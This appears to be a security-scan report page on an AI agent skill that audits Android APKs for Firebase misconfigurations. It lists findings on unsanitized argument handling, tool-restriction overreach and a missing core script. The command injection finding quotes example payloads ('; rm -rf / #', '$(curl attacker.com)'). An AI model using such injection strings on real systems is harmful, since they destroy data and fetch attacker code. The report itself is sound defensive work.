firebase-apk-scanner

ISSUES FOUND max severity HIGHSkillSpector Caution 48 registry trailofbits last scanned 2 scans

4 findings (3 high, 1 medium), mainly command injection, unauthorized tool use, social engineering. Most recent scan 2026-02-06.

This Firebase APK scanner skill presents CRITICAL security risks due to missing core components and unsafe input handling. The primary concern is that the scanner.sh script - which performs all actual security testing operations - is not included in the package, making it impossible to verify what the skill actually does. The skill executes this missing script with unsanitized user input, creating command injection vulnerabilities. Additionally, the skill violates its declared tool restrictions by executing arbitrary bash commands beyond the specified tools. The skill's purpose (security scanning with network operations and credential testing) combined with the lack of transparency creates significant trust and security concerns. While the documentation and vulnerability reference file appear educational and legitimate, the missing implementation and unsafe execution patterns make this skill unsuitable for use without major security improvements.

Scanner's overall assessment (LLM analyzer)
Findings4
Critical0
High3
Medium1
Low0
Analyzersstatic behavioral llm trigger meta

Second scanner: NVIDIA SkillSpector

VerdictCaution 48
Score48 / 100
Issues6
CategoriesData Exfiltration Excessive Agency Rogue Agent
Version2.12.0 (static)

Independent static run, no language model, over the same files as the Cisco scan above. How the two scanners compare across the whole corpus: Two scanners, one corpus.

What this skill does

Scans Android APKs for Firebase security misconfigurations including open databases, storage buckets, authentication issues, and exposed cloud functions. Use when analyzing APK files for Firebase vulnerabilities, performing mobile app security audits, or testing Firebase endpoint security. For authorized security research only.

Package
2 files, 27 KB
SKILL.md
839 words, 12+ sections
Code
None. Instructions only.
Allowed tools
Bash({baseDir}/scanner.sh:*) Bash(apktool:*) Bash(curl:*) Read Grep Glob

SKILL.md covers: Firebase APK Security Scanner · When to Use · When NOT to Use · Rationalizations to Reject · Reference Documentation · How to Use This Skill · Workflow · Step 1: Validate Input · Step 2: Run the Scanner · Step 3: Present Results · Scan Summary · Extracted Configuration

Findings

HIGH Unvalidated Command Injection Risk via $ARGUMENTS Command Injectionllm

The skill passes user-provided input ($ARGUMENTS) directly to bash commands without validation or sanitization. The workflow executes 'ls -la $ARGUMENTS' and '{baseDir}/scanner.sh $ARGUMENTS' with unsanitized user input, creating command injection vulnerabilities. An attacker could provide malicious input like '; rm -rf / #' or '$(curl attacker.com)' to execute arbitrary commands.

SKILL.md

ls -la $ARGUMENTS
{baseDir}/scanner.sh $ARGUMENTS - Direct variable expansion in bash without quotes or validation
Remediation: Validate and sanitize $ARGUMENTS before use. Use proper quoting: "$ARGUMENTS". Implement allowlist validation to ensure input is a valid file path. Use parameter expansion with safety checks. Consider using Python for safer argument handling instead of direct bash variable expansion.
HIGH Tool Restriction Violation - Unrestricted Bash Execution Unauthorized Tool Usellm

The allowed-tools declaration specifies 'Bash({baseDir}/scanner.sh:*)' and 'Bash(apktool:*)' and 'Bash(curl:*)' but the instructions show execution of arbitrary bash commands like 'ls -la $ARGUMENTS' which is not restricted to these specific tools. The skill also references network operations (curl to Firebase APIs) that could be used for data exfiltration while claiming to be a security scanner.

SKILL.md

allowed-tools: Bash({baseDir}/scanner.sh:*), Bash(apktool:*), Bash(curl:*) - but instructions show 'ls -la $ARGUMENTS' and unrestricted bash execution patterns
Remediation: Strictly enforce tool restrictions. If only scanner.sh, apktool, and curl should be used, remove direct bash command execution. Implement proper tool sandboxing. Add explicit validation that only declared tools are invoked.
HIGH Deceptive Capability Claims - Missing Critical Script Social Engineeringllm

The skill claims to be a 'Firebase APK Security Scanner' that performs comprehensive security testing including authentication testing, database access attempts, and cloud function enumeration. However, the actual scanner.sh script that performs these operations is not included in the package, making it impossible to verify the skill's true behavior. This creates a trust issue where users cannot validate what the skill actually does versus what it claims to do.

SKILL.md

Description claims comprehensive Firebase security scanning capabilities, but scanner.sh (the core component) is missing from the package. Instructions reference network operations and API testing that cannot be verified.
Remediation: Include all executable scripts in the package for transparency. Provide clear documentation of all network operations performed. Add checksums or signatures for script verification. Consider open-sourcing the scanner script for community review.
MEDIUM Unbounded APK Processing Without Resource Limits Resource Abusellm

The skill accepts APK files or directories as input without apparent size limits, validation, or resource constraints. Processing large APKs or directories with many APKs could lead to resource exhaustion through decompilation (apktool), file system operations, and network requests. The workflow shows no timeout mechanisms or resource limits.

SKILL.md

Accepts $ARGUMENTS as APK file or directory without validation of size, count, or resource limits. Uses apktool for decompilation which can be resource-intensive for large APKs.
Remediation: Implement file size limits for APK processing. Add timeout mechanisms for decompilation and scanning operations. Validate input is actually an APK file before processing. Limit the number of APKs processed in batch operations. Add progress indicators and cancellation options for long-running scans.

What is in the package

FileKindSize
SKILL.mddoc6.7 KB
references/vulnerabilities.mddoc21 KB

External hosts referenced

project-id.firebaseio.com identitytoolkit.googleapis.com firebasestorage.googleapis.com firestore.googleapis.com firebaseremoteconfig.googleapis.com project.firebaseio.com us-central1-project-id.cloudfunctions.net internal-api.company.com us-central1-project.cloudfunctions.net

Hostnames that appear in the skill's files. Referencing a host is not a finding; compare against the findings above and the skill's stated purpose.

Package contents recorded 2026-10-22 at commit a50696e20581. The scan above ran against the version current at scan time; the two can differ if the skill has since been updated.

What we checked

What we did not check

Scan history

DateVerdictFindingsChangeAnalyzersRaw
HIGH 4 = static behavioral llm trigger meta JSON
CRITICAL 4 first scan static behavioral llm trigger meta JSON

Sources

Related skills